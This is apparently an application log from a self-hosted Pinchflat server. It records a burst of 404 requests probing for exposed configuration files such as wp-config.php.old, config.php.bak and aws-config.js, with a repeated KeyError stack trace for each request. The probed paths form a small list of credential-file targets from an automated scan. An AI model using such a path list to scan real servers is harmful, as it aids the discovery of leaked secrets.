"pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7751.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/wp-config.php.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYXR-MnGnQx8AA1oB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7751.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-rea (truncated) 04:06:55.102 [info] GET /config.php 04:06:55.103 [debug] QUERY OK source="settings" db=0.1ms idle=362.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:55.103 [debug] QUERY OK source="settings" db=0.0ms idle=237.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:55.103 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:06:55.104 [error] #PID<0.7752.0> running PinchflatWeb.Endpoint (connection #PID<0.7739.0>, stream id 13) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /config.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7752.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/config.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYXuoaW74MpsAA1qB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7752.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], (truncated) 04:06:55.218 [info] GET /config.php.bak 04:06:55.218 [debug] QUERY OK source="settings" db=0.1ms idle=352.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:55.219 [debug] QUERY OK source="settings" db=0.1ms idle=235.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:55.219 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:06:55.219 [error] #PID<0.7753.0> running PinchflatWeb.Endpoint (connection #PID<0.7739.0>, stream id 14) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /config.php.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php.bak", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7753.0>, params: %{}, path_info: ["config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/config.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYYKG7Ju8EkUAA1sB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php.bak", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php.bak", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7753.0>, params: %{}, path_info: ["config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/config.php.bak", (truncated) 04:06:55.333 [info] GET /config.js 04:06:55.334 [debug] QUERY OK source="settings" db=0.1ms idle=230.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:55.334 [debug] QUERY OK source="settings" db=0.0ms idle=230.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:55.334 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:06:55.335 [error] #PID<0.7754.0> running PinchflatWeb.Endpoint (connection #PID<0.7739.0>, stream id 15) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /config.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7754.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYYlsv0EEfHkAA1uB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7754.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/config.js", resp_body: nil, resp_cookies (truncated) 04:06:55.451 [info] GET /aws-config.js 04:06:55.451 [debug] QUERY OK source="settings" db=0.2ms idle=232.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:55.451 [debug] QUERY OK source="settings" db=0.0ms idle=232.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", 